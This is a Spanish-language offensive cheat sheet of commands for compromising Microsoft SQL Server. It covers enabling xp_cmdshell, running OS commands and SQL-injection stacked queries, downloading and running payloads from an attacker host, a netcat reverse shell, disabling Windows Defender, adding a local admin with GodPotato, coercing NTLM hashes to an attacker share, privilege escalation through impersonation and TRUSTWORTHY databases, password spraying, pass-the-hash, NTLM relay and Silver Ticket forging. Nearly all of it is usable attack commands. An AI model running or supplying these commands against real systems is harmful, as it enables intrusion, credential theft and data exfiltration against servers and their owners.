🔌Conexión — mssqlclient.py
| Comando | Descripción |
|---|---|
| mssqlclient.py 'user:pass'@<IP> | Conexión básica con autenticación SQL nativa (sin Windows auth) |
| mssqlclient.py 'user:pass'@<IP> -windows-auth | Conexión con autenticación de dominio Windows (Kerberos/NTLM). Necesario cuando el login es una cuenta de AD |
| mssqlclient.py 'DOMAIN\user:pass'@<IP> -windows-auth | Formato alternativo especificando dominio explícitamente |
| mssqlclient.py 'user@DOMAIN:pass'@<IP> | Formato UPN (usuario@dominio) — útil cuando el formato DOMAIN\user no funciona |
| mssqlclient.py -debug 'user:pass'@<IP> | Conexión con output de depuración extendido — muestra la negociación de protocolo TDS |
| mssqlclient.py -k <hostname> -no-pass | Autenticación Kerberos usando la caché de tickets (KRB5CCNAME) — usado tras forjar/importar un Silver Ticket |
| KRB5CCNAME=ticket.ccache mssqlclient.py -no-pass -k <FQDN> | Pass-the-Ticket: usa un archivo .ccache concreto para autenticar contra MSSQL vía Kerberos |
| proxychains mssqlclient.py user:pass@<IP> -windows-auth | Conexión a través de túnel SOCKS (chisel/ligolo) para acceder a redes internas pivotando |
| impacket-mssqlclient -k <DC.DOMAIN> | Alias de sistema para mssqlclient.py — misma funcionalidad, instalado como binario en el PATH |
🔎Enumeración — Built-in de mssqlclient.py
| Comando | Descripción |
|---|---|
| enum_db | Lista todas las bases de datos disponibles y si la opción is_trustworthy_on está activada (vector de abuso) |
| enum_users | Lista los usuarios configurados dentro de la instancia MSSQL |
| enum_logins | Lista los logins del servidor SQL — muestra roles asignados (p.ej. sysadmin) — útil para identificar cuentas privilegiadas |
| enum_links | Enumera los Linked Servers configurados — permite ejecutar queries en otros servidores SQL enlazados |
| enum_owner | Muestra el propietario de la base de datos actual |
| enum_impersonate | Lista qué logins puede impersonar el usuario actual (EXECUTE AS LOGIN) — vector clave para escalada de privilegios |
| enable_xp_cmdshell | Activa automáticamente xp_cmdshell ejecutando internamente sp_configure + RECONFIGURE. Requiere privilegios de sysadmin |
📊Enumeración — Queries SQL
| Comando / Query | Descripción |
|---|---|
| SELECT @@VERSION; | Muestra versión exacta del motor SQL Server — útil para detectar versiones vulnerables (p.ej. RTM sin parchear) |
| SELECT DB_NAME(); | Devuelve el nombre de la base de datos en uso actualmente |
| SELECT SYSTEM_USER; | Devuelve el login SQL con el que estás autenticado (antes/después de EXECUTE AS) |
| SELECT IS_SRVROLEMEMBER('sysadmin'); | Devuelve 1 si el usuario tiene rol sysadmin, 0 si no — verificación rápida de privilegios |
| SELECT name FROM sys.databases; | Lista todas las bases de datos del servidor (equivalente a enum_db en SQL puro) |
| SELECT table_name FROM information_schema.tables; | Lista las tablas de la DB actual — buscar tablas de usuarios, configuraciones, credenciales, etc. |
| SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE'; | Igual que el anterior pero filtrando solo tablas base (excluye vistas) |
| SELECT column_name FROM information_schema.columns WHERE table_name = '<tabla>'; | Enumera las columnas de una tabla concreta — paso previo al SELECT * |
| SELECT SUSER_SID(); | Devuelve el SID binario del usuario actual — necesario para calcular el RID en ataques de Silver Ticket |
| SELECT sp.name, master.dbo.fn_varbintohexstr(sp.sid) FROM sys.server_principals sp; | Devuelve todos los principals del servidor con su SID en hexadecimal — para mapear RIDs de dominio |
| SELECT sp.name, sp.type_desc FROM sys.server_principals sp INNER JOIN sys.server_role_members srm ON sp.principal_id = srm.member_principal_id INNER JOIN sys.server_principals sr ON srm.role_principal_id = sr.principal_id WHERE sr.name = 'sysadmin'; | Lista todos los miembros del rol sysadmin — identifica cuentas con máximos privilegios en el servidor SQL |
| SELECT name, type_desc, master.dbo.fn_varbintohexstr(sid) AS SID FROM sys.database_principals WHERE type IN ('S','U','G'); | Lista principals de base de datos (SQL logins, usuarios Windows y grupos) con su SID hexadecimal |
⚙️Activación de xp_cmdshell
| Comando / Query | Descripción |
|---|---|
| EXEC sp_configure 'show advanced options', 1; RECONFIGURE; | Paso 1: habilita la visibilidad de opciones avanzadas de configuración del servidor SQL. Sin esto, xp_cmdshell no aparece como opción configurable |
| EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; | Paso 2: activa el procedimiento xp_cmdshell. Requiere rol sysadmin o privilegio CONTROL SERVER |
| EXEC sp_configure 'clr enabled', 1; RECONFIGURE; | Activa el soporte CLR (.NET) en SQL Server — necesario para el ataque CLR Assembly como alternativa a xp_cmdshell |
| EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; | Habilitación completa impersonando al usuario sa (si enum_impersonate lo muestra disponible) — escalada de privilegios antes de activar xp_cmdshell |
| enable_xp_cmdshell | Atajo de mssqlclient.py que ejecuta automáticamente los dos sp_configure + RECONFIGURE necesarios |
🤖SQL Agent Proxy
SQL Server Agent ejecuta jobs, pero por defecto los ejecuta con la cuenta de servicio del SQL Server (normalmente NT Service\SQLSERVERAGENT o similar). Según Microsoft para crear agentes requerimos previamente de un Proxy.
Un Proxy es un objeto que permite ejecutar pasos de un job con credenciales diferentes — básicamente le dice al Agent "ejecuta este paso como este otro usuario".
El proxy contiene el nombre del proxy name, el usuario Windows con el que ejecutará los comandos credential_identity, y el estado del proxy enabled
Un Proxy es un objeto que permite ejecutar pasos de un job con credenciales diferentes — básicamente le dice al Agent "ejecuta este paso como este otro usuario".
El proxy contiene el nombre del proxy name, el usuario Windows con el que ejecutará los comandos credential_identity, y el estado del proxy enabled
(1=habilitado, 0=deshabilitado) y descripción si tiene description
| Comando / Query | Descripción |
|---|---|
| SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'; | Paso 1: Enumerar usuarios sobre los que tenemos impersonation |
| SELECT * FROM msdb.dbo.sysproxies; | Paso 2: Enumeramos la configuración completa del Proxy |
| CREATE TABLE proxy ([proxy_id] int, [name] sysname, [credential_identity] sysname, [enabled] tinyint, [description] varchar(1024), [user_sid] varbinary(100), [credential_id] int, [credential_identity_exists] int) | Alternativa - Paso 1: En ciertos casos, al dumpear una sql-shell no podemos mostrar la configuración y toca dumpearlos mediante la creación de una tabla |
| EXEC AS login = N'usuario_impersonado'; INSERT INTO proxy EXEC msdb.dbo.sp_help_proxy | Alternativa - Paso 2: Y luego, debemos guardamos los valores de la configuración de proxy alojada en msdb.dbo.sp_help_proxy |
| sqlmap -r sqli -p destination --dbms mssql -D DB_NAME -T TABLE_NAME(el que hayamos creado) --dump --batch | Alternativa - Paso 3: Ahora toca exfiltrar los datos vía sqlmap o en el campo donde tengamos SQLInjection |
💻Ejecución de Comandos — xp_cmdshell
| Comando | Descripción |
|---|---|
| EXEC xp_cmdshell 'whoami'; | Verifica la identidad del proceso SQL Server — confirma RCE y muestra el usuario de servicio |
| xp_cmdshell whoami | Sintaxis sin EXEC (válida dentro de mssqlclient.py interactivo) |
| EXEC xp_cmdshell 'dir C:\programdata\'; | Lista el contenido de un directorio — verifica rutas escribibles para depositar payloads |
| EXEC xp_cmdshell 'powershell wget http://<IP>:<PORT>/shell.exe -OutFile C:\programdata\shell.exe'; | Descarga un binario con PowerShell usando wget (alias de Invoke-WebRequest) |
| EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest http://<IP>/payload.ps1 -OutFile C:\programdata\payload.ps1"'; | Descarga un script PowerShell al disco — útil cuando certutil está bloqueado por AMSI/AV |
| EXEC xp_cmdshell 'powershell -c "curl http://<IP>/payload.ps1 -Outfile C:\programdata\payload.ps1"'; | Alternativa con curl (también alias de Invoke-WebRequest en PS) para descarga de payloads |
| EXEC xp_cmdshell 'powershell IEX(New-Object Net.WebClient).downloadstring("http://<IP>/powercat.ps1")'; | Ejecuta powercat.ps1 en memoria sin escribir al disco — bypass básico de AV/AMSI |
| EXEC xp_cmdshell 'C:\programdata\nc64.exe -e cmd <IP> <PORT>'; | Lanza reverse shell con netcat64 — conecta de vuelta al listener del atacante |
| EXEC xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'; | Ejecuta payload PowerShell codificado en Base64 — evasión básica de AV y logging |
| EXEC xp_cmdshell 'powershell Set-MpPreference -DisableRealtimeMonitoring $true'; | Intenta deshabilitar Windows Defender en tiempo real — normalmente falla sin privilegios de admin |
| EXEC xp_cmdshell 'C:\temp\GodPotato.exe -cmd "net localgroup Administrators <user> /add"'; | Abusa de SeImpersonatePrivilege con GodPotato para añadir un usuario al grupo local de admins |
| EXEC xp_cmdshell 'certutil -urlcache -f http://<IP>/shell.exe C:\Users\<user>\shell.exe'; | Descarga binario usando certutil — alternativa a wget, a veces bloqueado por AV |
| EXEC xp_cmdshell '\\<ATTACKER_IP>\share\payload.exe'; | Ejecuta payload directamente desde un SMB share del atacante — sin necesidad de escritura en disco |
| '; EXEC xp_cmdshell 'ping <IP>';-- - | Comprueba ejecución ciega en SQLi (MSSQL injection) — si llega el ping, hay RCE via stacked queries |
| '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- | Stacked query en SQLi para activar xp_cmdshell directamente desde un campo inyectable |
| shell C:\_admin\sqlcmd.exe -S <IP>,1433 -E -Q "EXEC xp_cmdshell 'cmd /c payload.exe'" | Ejecuta xp_cmdshell desde el shell del C2 (ej: Sliver/Apollo) usando sqlcmd.exe con auth integrada (-E) |
🎣Coercion to capture NT hash
| Comando | Descripción |
|---|---|
| xp_dirtree \\<ATTACKER_IP>\share | Fuerza al servidor SQL a autenticarse contra un share SMB falso — captura el hash NTLMv2 de la cuenta de servicio con Responder |
| EXEC xp_dirtree '\\<ATTACKER_IP>\share' | Sintaxis con EXEC (válida en cualquier cliente SQL) — misma funcionalidad que el anterior |
| xp_fileexist 'C:\temp' | Comprueba si existe un archivo o directorio en el servidor — también puede utilizarse para confirmar rutas escribibles |
| xp_subdirs | Lista subdirectorios (más simple que xp_dirtree) |
| SELECT * FROM sys.dm_os_file_exists('\\x.x.x.x\test\') | Otra alternativa para coercion MSSQL hash en caso de que las demas funciones estén capados |
| SELECT * FROM OPENROWSET(BULK '\\attackerIP\share\file.txt', SINGLE_CLOB) AS x; | Con permisos adecuados, provoca tráfico SMB (OOB). |
🎭Impersonación, Linked Servers y TrustWorthy
| Comando | Descripción |
|---|---|
| EXECUTE AS LOGIN = 'sa'; | Impersona el login sa si enum_impersonate lo muestra disponible — eleva contexto a sysadmin dentro de la sesión SQL |
| SELECT SYSTEM_USER; | Verifica la identidad efectiva tras la impersonación — confirma que el cambio de contexto funcionó |
| EXEC ('SELECT @@VERSION') AT [<LINKED_SERVER>]; | Ejecuta una query en un Linked Server remoto — la identidad usada depende de la configuración del link |
| EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINKED_SERVER>]; | Ejecuta comandos OS en un Linked Server — si está configurado con credenciales privilegiadas, obtienes RCE en el servidor remoto |
| SELECT name, suser_sname(owner_sid), is_trustworthy_on FROM sys.databases" | Para buscar BBDD con trustworthy=1 y cuyo propieatorio sea sa(sysadmin) |
| CREATE PROCEDURE sp_privesc WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember '<usuario>', '<sysadmin>' | Intenta crear un procedimiento llamado sp_privesc que, cuando se ejecute, añadirá un usuario al rol fijo de servidor sysadmin (el máximo privilegio en SQL Server). |
| MSSQL > EXEC <db_con_trustworthy>.sys.sp_executesql N'CREATE PROCEDURE dbo.sp_elevate_me WITH EXECUTE AS OWNER AS BEGIN EXEC sp_addsrvrolemember ''<usuario>'',''sysadmin''; END;'; MSSQL > EXEC <db_con_trustworthy>.sys.sp_executesql N'EXEC dbo.sp_elevate_me;'; | Alternativa con EXEC + sp_executesql si existen restricciones |
📂Lectura de Archivos — OPENROWSET / BULK INSERT
| Comando | Descripción |
|---|---|
| SELECT CAST(BulkColumn AS VARCHAR(MAX)) FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_BLOB) AS x; | Lee un archivo de texto arbitrario del servidor y lo devuelve como resultado SQL — no spawnea proceso nuevo (el token de impersonación se mantiene) |
| SELECT * FROM OPENROWSET(BULK 'C:\ruta\archivo.txt', SINGLE_CLOB) AS x; | Variante con SINGLE_CLOB para texto con codificación ANSI — útil para leer historial de PowerShell, configs, etc. |
| BULK INSERT #RootData FROM 'C:\Users\Administrator\Desktop\root.txt' WITH (FIELDTERMINATOR = '\n', ROWTERMINATOR = '\0', TABLOCK); | Inserta el contenido de un archivo en una tabla temporal — alternativa a OPENROWSET para leer archivos del servidor |
| SELECT * FROM OPENROWSET('SQLOLEDB','Server=<IP>;Trusted_Connection=yes;','SELECT * FROM tabla'); | Accede a recursos remotos vía OLEDB desde dentro de MSSQL — puede usarse para pivoting o exfiltración de datos |
🌐NetExec (nxc) — Módulo MSSQL
| Comando | Descripción |
|---|---|
| nxc mssql <IP> -u users.txt -p pass.txt --continue-on-success | Password spray con autenticación Windows (dominio) — prueba cada usuario con cada contraseña |
| nxc mssql <IP> -u users.txt -p pass.txt --continue-on-success --local-auth | Spray con autenticación local SQL — usa cuando los usuarios son cuentas SQL nativas (no de dominio) |
| nxc mssql <IP> -u users.txt -H <NT_HASH> --continue-on-success | Pass-the-Hash contra MSSQL — útil cuando tienes el hash pero no la contraseña en claro |
| nxc mssql <IP> -u users.txt -p pass.txt --no-bruteforce | Modo 1:1 — empareja usuario[i] con contraseña[i] en orden. Evita bloqueos y es útil cuando tienes credenciales correlacionadas |
| nxc mssql <IP> -u sa -p 'Pass' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;' | Ejecuta una query SQL directamente desde la línea de comandos sin necesidad de abrir sesión interactiva |
| nxc mssql <IP> -u sa -p 'Pass' --local-auth -x ipconfig | Ejecuta un comando OS via xp_cmdshell directamente desde nxc — equivalente a xp_cmdshell 'ipconfig' |
| nxc mssql <IP> -u admin -H <NT_HASH> -x ipconfig | Ejecución de comandos via hash (PtH) — combina PtH con RCE en un solo paso |
| nxc mssql <IP> -u admin -p 'Pass' --put-file file.txt C:\Windows\Temp\file.txt | Sube un archivo al servidor — útil para depositar herramientas sin un servidor SMB |
| nxc mssql <IP> -u admin -p 'Pass' --get-file C:\Windows\Temp\file.txt /tmp/file.txt | Descarga un archivo desde el servidor — exfiltración sin necesidad de xp_cmdshell manual |
| nxc mssql <IP> -u user -p 'Pass' -M mssql_priv | Módulo que verifica si el usuario tiene privilegios que permiten escalada dentro de MSSQL (impersonación, sysadmin, etc.) |
| nxc mssql <IP> -u admin -p 'Pass' --port 9070 | Especifica puerto no estándar — MSSQL a veces corre en puertos distintos al 1433 |
| sudo ntlmrelayx.py -t mssql://<IP> -smb2support -socks | NTLM Relay hacia MSSQL — si capturas una autenticación NTLM, la retransmites para obtener sesión SQL sin credenciales |
| sudo ntlmrelayx.py -t mssql://<IP> -smb2support -q "SELECT name FROM sys.databases;" | NTLM Relay con query directa — ejecuta una consulta SQL en el momento en que se captura la autenticación |
🥈Silver Ticket — Autenticación Kerberos Falsificada
| Comando | Descripción |
|---|---|
| impacket-ticketer -nthash "<NT_HASH>" -domain-sid "<SID>" -domain "<DOMAIN>" -spn "MSSQLSvc/<DC>.<domain>:1433" -groups 500,512,516 Administrator | Forja un Silver Ticket para el SPN de MSSQL — el hash es el NT hash de la cuenta de servicio SQL. Los grupos 500, 512, 516 otorgan privilegios de Domain Admin |
| impacket-ticketer -nthash "<NT_HASH>" -domain-sid "<SID>" -domain "<DOMAIN>" -spn "MSSQLSvc/<DC>" -user-id <RID> -group "<RID1>,<RID2>" <username> | Variante con -user-id y grupos específicos — necesario para OPENROWSET/BULK INSERT ya que la impersonación usa el token de sesión, no un proceso nuevo |
| KRB5CCNAME=Administrator.ccache mssqlclient.py -no-pass -k <FQDN> | Usa el Silver Ticket generado (.ccache) para conectar a MSSQL sin contraseña — el ticket proporciona autenticación |
| getST.py -spn 'MSSQLSvc/<DC>' -impersonate <target_user> -k -no-pass 'DOMAIN/account$' | S4U2Proxy: solicita un ST para MSSQL impersonando a otro usuario — requiere que la cuenta tenga Constrained Delegation configurada |
| export KRB5CCNAME=/ruta/ticket.ccache | Establece el ticket Kerberos activo para el proceso actual — necesario antes de usar -k en mssqlclient |
💀Metasploit — Módulos MSSQL
| Módulo / Comando | Descripción |
|---|---|
| use auxiliary/admin/mssql/mssql_escalate_execute_as | Escalada de privilegios via EXECUTE AS — explota la capacidad de impersonar logins con permisos de sysadmin |
| use auxiliary/admin/mssql/mssql_enum_domain_accounts | Enumera cuentas del dominio via RID brute-force usando la conexión MSSQL — útil cuando LDAP no está disponible |